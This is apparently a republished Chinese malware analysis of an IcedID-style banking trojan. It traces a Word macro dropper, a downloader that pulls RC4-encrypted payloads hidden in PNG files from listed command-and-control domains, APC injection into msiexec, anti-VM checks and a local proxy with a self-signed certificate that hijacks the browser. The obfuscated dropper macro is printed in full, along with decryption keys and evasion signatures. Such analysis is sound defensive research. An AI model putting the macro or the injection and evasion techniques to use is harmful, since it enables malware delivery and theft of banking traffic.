ICEID

文章目录

  • 基本信息
    • 样本基本信息
    • 主要执行流程
      • office宏
      • pfsdnskdf.exe
      • 解密exe
      • 傀儡进程
    • 关键技术概览
        • 1.时间差检测
        • 2.cpuid
        • 3.隐写术
        • 4.傀儡进程
        • 5.浏览器注入
        • 6.流量混淆
  • 详细分析
    • 宏代码部分
    • PFSDNSKDF.EXE
      • 微步云在线分析
      • 手动分析
    • PFSDNSKDF.EXE下载解密文件分析
      • 微步云在线分析
      • 手动分析
    • 新shellcode
    • 傀儡进程
      • 火绒剑分析
        • 开启监听端口
        • 生成自签名证书
        • 对谷歌浏览器执行远线程注入
    • 手动分析
  • 其他
  • 参考链接

基本信息

样本基本信息

文件名称fram.doc
样本类型docx文档
恶意类型远控,间谍代理
样本md54a88e83b325aa23da1e4bfa90b4f7c34
样本SHA106f6de4f48dbd69d8f8dd5ff1a33a8eeffc94bad

主要执行流程

office宏

首先docx启动宏,创建写入启动C:\ 1 \ Whole \ PFSDNSKDF.EXE

pfsdnskdf.exe

PFSDNSKDF.exe加载资源,解密生成shellcode,从站点connuwedro.xyz下载图片,检验是否为图片,并RC4解密,KNVHASH效验。并将二进制文件保存在%APPDATA%文件夹中,并且为持久起见,它将创建一个计划的任务,该任务将每小时执行一次,启动第三阶段文件。

解密exe

前面和pfsdnskdf.exe一样,不过shellcode不同,同样也会请求域名cucumberz99.club,Pimidorro.top读取并写入C:\Users\Administrator\AppData\Local\ilbekaac2{1EA129C9-3B27-EA75-47E0-B55E92D185DD}\tiagac3.png

RC4解密,效验后,生成新shellcode

该shellcode挂起白名单进程

C:\windows\system32\msiexec.exe /i epcekw.msi

并进行APC注入。

傀儡进程

首先利用cpuid,rdstc时间差检测来进行反调试和反虚拟机

后面检测cpuid的ebx的值来反虚拟机

后面跑了一下火绒剑,生成自签名证书,开启61318端口,远线程劫持了浏览器函数的参数,傀儡进程变成了本地代理,达到了控制浏览器的效果

关键技术概览

1.时间差检测

利用cpuid在虚拟机上执行时间慢,达到一个检测时间差的效果

2.cpuid

通过检测cpuid的返回结果ebx,来判断实在在虚拟机之中

3.隐写术

通过对下载的图片进行解码,来伪装shellcode

4.傀儡进程

利用APC注入至白名单进程msiexec.exe,躲避检测

5.浏览器注入

让浏览器将所有请求重定向到此代理服务器并“信任”生成的证书,从而完全控制浏览器流量

6.流量混淆

通过尝试混入正常流量来逃避检测

详细分析

宏代码部分

样本格式为.docx,用Alt+F11查看VBA代码如下

#If VBA7 Then
Private Declare PtrSafe Function MakeSureDirectoryPathExists Lib "imagehlp    " (ByVal lpPath As String) As Long
#Else
Private Declare Function MakeSureDirectoryPathExists Lib "imagehlp                       " (ByVal lpPath As String) As Long
#End IfPrivate Sub Document_Open()Dim i, d
Dim strTemp$, strReturn$, hextostr$
Dim CurFolder$
Dim GenerateFileName$, sFile$, sValues$CurFolder = "C:\1\Whole"d = CurFolder & "\" & "PFSDNSKDF.E" + Chr$(88) + Chr$(69)
hextostr = ToggleButton1.CaptionIf Right$(CurFolder, 1) <> "\" Then CurFolder = CurFolder & "\"
MakeSureDirectoryPathExists CurFolderFor i = 1 To Len(hextostr) Step 2
strTemp = Chr(Val("&H" + Mid(hextostr, i, 2)))
strReturn = strReturn + strTemp
Next ihextostr = Right(strReturn, Len(strReturn) - 1)Open d For Binary As #1
Put #1, , Chr$(77) + hextostr
Close #1`winmgmts:Win32_Process        
Set process = GetObject(ChrW(119) & ChrW(105) & ChrW(110) & ChrW(109) & ChrW(103) & ChrW(109) & ChrW(116) & ChrW(115) _& ChrW(58) & ChrW(87) & ChrW(105) & ChrW(110) & ChrW(51) & ChrW(50) & ChrW(95) & ChrW(80) & ChrW(114) _& ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115))
process.create d, Null, Null, processidOn Error GoTo errorHandler
ActiveDocument.Close _SaveChanges:=wdPromptToSaveChanges, _OriginalFormat:=wdPromptUser
errorHandler:
If Err = 4198 Then MsgBox "Document was not closed"Dim xFor x = 0 To 1
Call DateAdd("s" + vbNullString, x, Now)
DoEvents
Next xEnd Sub

样本在c盘下释放了C:\ 1 \ Whole \ PFSDNSKDF.EXE,然后利用winmgmts:Win32_Process 启动运行,不过由于WPS中文编码的转换问题,程序中出现一堆0x3f乱码数据。

PFSDNSKDF.EXE

微步云在线分析

在这里插入图片描述

为连接域名,其中.xyz域名为恶意域名,但是已经失效,猜测是一个下载者

手动分析

首先读取"WerFault.exe"资源放入Virtual alloc的空间后进行RC4加密,不过RC4的求余有点奇怪,密钥为OwcRJEC2g5NJ9wbOmJnUO5nK1LWXpbbndxlN4\x00

在这里插入图片描述

通过解析加载模块dll导出表,通过hash加密得到指定的函数和dll

GetNativeSystemInfo

在这里插入图片描述

VirtualAlloc()//0x113

VirtualProtect()//修改分配内存保护0x3a8

ZwFlushInstructionCache(-1,0,0);

//0x03d8跳转到新分配内存

GetCommandlineA()

StrStrIA(“C:\1\Whole\4c9c6b5b6daa25b8dc274dd78fbc1aaa.exe”,“id=”)//0x2112EE这里判断有没有id=

wsprintfw("%s");//212188 support.apple.com

在这里插入图片描述

WinhttpOpen//0x25b24a0

WinHttpConnect(0x25b24a0,“support.apple.com”,443)

WinhttpOpenRequest(0x25b24a0,“GET”,"/",0,0,0,0)

WinhttpSetOption()//0x2115b2

WinhttpSendRequest()

WinhttpReceiveResponse()

WinhttpQueryHeaders()

WinhttpQueryHeaders()

WinhttpQueryDataAvailable()

WinhttpReadData()

www.intel.com

help.twitter.com

support.microsoft.com

connuwedro.xyz

support.orcale.com

读取到数据后,判断字符串中还有”src=“字符,检测路径要求如下

在这里插入图片描述

例如在support.microsoft.com中读取到了/socbundles/jsll

利用WinHttpOpenRequest(,“Get”,“socbundles/jsll”)//0x33d2c8

WinHttpSendRequest()

之后判断报头连接网站所读取文件格式是否为Png,之后

在这里插入图片描述

之后在tmp目录下释放并写入文件

在这里插入图片描述

之后RC4解密该文件,并运行。。。这里没有在网上找到图片。。。没分析出来

PFSDNSKDF.EXE下载解密文件分析

微步云在线分析

在这里插入图片描述

连接了两个域名,不过都已经失效

手动分析

前面流程和PFSDNSKDF.exe基本一样,后面shellcode新生成的部分不一样着重分析此处.

SHGetFolderPathA(0,0x1c);

得到路径

在这里插入图片描述

并且在目录下创建文件夹

在这里插入图片描述

创建文件tiagac3.png

在这里插入图片描述

连接域名cucumberz99.club,如果连接请求失败会继续连接Pimidorro.top反复循环

在这里插入图片描述

发送get请求,获取Image目录下的id=01989…

在这里插入图片描述

检查读取的数据是否为png格式,进行RC4加密之后,加密密钥为opqrstuvwxyz{|}~且进行FNV hash算法校验

在这里插入图片描述

创建并且写入解密的文件C:\Users\Administrator\AppData\Local\ilbekaac2{1EA129C9-3B27-EA
75-47E0-B55E92D185DD}\tiagac3.png

在这里插入图片描述

GetMoudleFileNameA获取样本所在路径

VirtualProtect()修改内存权限为可读可执行

新shellcode

跳转到新shellcode

加载kernel32.dll利用了LdrLoadDll函数,这是一个未公开的API函数,其中第三个函数是一个结构体,内存放着加载的dll

typedef struct _UNICODE_STRING { //UNICODE_STRING structureUSHORT  Length;USHORT  MaximumLength;PWSTR  Buffer;
} UNICODE_STRING;

继续加载LdrGetProcedureAddress,获取CreateProcessA函数地址,结构体同理

继续向下运行RtlWow64EnableFsRedirectionEx,文件系统重定向

CreateProcessA启动进程

进程名称为 C:\windows\system32\msiexec.exe /i epcekw.msi

在这里插入图片描述

ZwQuerySystemInformation查询信息

在这里插入图片描述

ZwAllocateVirtualMemory分配内存

在这里插入图片描述

ZwWriteVirtualMemory(0x174,0x100000,0x20a0000,)

ZwProtectVirtualMemory()

ZwQueueApcThread()//插入一个APC到指定线程,APC注入,注入地址偏移为0x9c

傀儡进程

火绒剑分析

开启监听端口

端口为61318,其实为本地代理

在这里插入图片描述

生成自签名证书

自签名证书在temp目录下

对谷歌浏览器执行远线程注入

注入的数据为远线程启动的参数,修改了某些函数的参数

在这里插入图片描述

访问亚马逊网站时,傀儡进程也进行了相应的访问连接

在这里插入图片描述

流量分析,确认其为本地代理

在这里插入图片描述

手动分析

NtAllocateVirtualMemory()

LdrLoadDll()加载dll

LdrGetProcedureAddress()循环获取函数

NtProtectVirtualMemory()

跳转到分配内存之中

GetComputerNameExW()获取计算机名称

LookupAccountNameW()//获取sid以及在计算机的域

将sid进行FNV hash加密 0X7b2716d6

时间差检测

在这里插入图片描述

利用cpuid进行虚拟机检测

VM供应商的品牌和类型

VMM_XEN: ebx = 0x566e6558 and ecx = 0x65584d4d and edx = 0x4d4d566e

VMM_HYPER_V: ebx = 0x7263694D and ecx = 0x666F736F and edx = 0x76482074

VMM_VMWARE: ebx = 0x61774d56 and ecx = 0x4d566572 and edx = 0x65726177

VMM_KVM: ebx = 0x4b4d564b and ecx = 0x564b4d56 and edx = 0x0000004d

在这里插入图片描述

RtlGetVersion()获取当前运行的操作系统返回版本信息,获取操作系统版本号是否大于或等于6,操作系统平台是否为VER_PLATFORM_WIN32_NT,VER_PLATFORM_WIN32_Windows,VER_PLATFORM_WIN32S,

如果操作系统版本大于6则判断是否为64为操作系统,如果是不是相应位置上赋值

OpenProcessToken获取当前进程令牌

GetTokenInformation获取token相关信息

GetSidIdentifierAuthority,获取根签发者的sid

GetSidSubAuthorityCount,获取sid中间签名者的数目

GetSidSubAuthority()获取中间签名者sid的指针

NetGetDcName//返回主域控制器的名称 0x1000238b

生成签名算法

CryptAcquireContextW()函数用于获取句柄到一个特定的密钥容器的特定内加密服务提供商(CSP)

CryptCreateHash()

CryptHashData

CryptGetHashParam

CryptReleaseContext

CertAddEncodedCertificateToStore()//自签名证书生成

CreateMutexA//创建互斥体ivobihosahuqafam
在这里插入图片描述

创建目录C:\Users\Administrator\AppData\Local{27EA3D63-A57D-C0A8-43E5-36B762883F18}
CreateFileA//打开自身
GetFileSize获取文件大小
ReadFile
CreateFileA创建一个文件C:\Users\Administrator\AppData\Local\{27EA3D63-A57D-C0A8-43E5-36B762883F18}\hoocyock2.exe

WriteFile写入文件,且写入的是一个PE且是其本身

将原文件删除

GetUserNameA

CoInitialize//com组件初始化

CoCreateInstance//创建一个com对象,不过报错ERROR_NO_TOKEN

继续创建hash

打开注册表HKEYCrruentUser

Software\Classes\CLSID\{1314A387-1763-4152-6D5A-345687EE8BE0}

创建一个线程0x10010ac2 用来无限睡眠

GetUserNameW 100162ed

CreateFileW打开png文件,不过不存在

C:\Users\Administrator\AppData\Roaming\Administrator\Uqafbt64.png

CreateFileW打开文件

C:\Users\Administrator\AppData\Roaming\Administrator\erafutca32.png 依旧没有

WSAstartup 10019679

CreateEventW 创建打开一个事件对象

CreateThread创建线程其实地址为0x1000c11d

后面分析不下去了。。。。。不过用火绒也能看出个大概

其他

  1. 自签名证书安装判定

    可以通过hook判断函数CertAddEncodedCertificateToStore是否存在

    其主要行为为安装证书,调试了一下发现的却存在改函数

在这里插入图片描述

参考链接

https://xz.aliyun.com/t/2898

https://www.cnblogs.com/xenophon/p/4981555.html

https://www.chainnews.com/zh-hant/articles/135086216856.htm

https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware

http://www.shcas.net/jsjyup/pdf/2019/2/%E5%9F%BA%E4%BA%8Eangr%E7%9A%84%E5%AF%B9%E6%8A%97%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81%E6%B2%99%E7%AE%B1%E6%A3%80%E6%B5%8B%E6%96%B9%E6%B3%95%E7%9A%84%E7%A0%94%E7%A9%B6.pdf


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部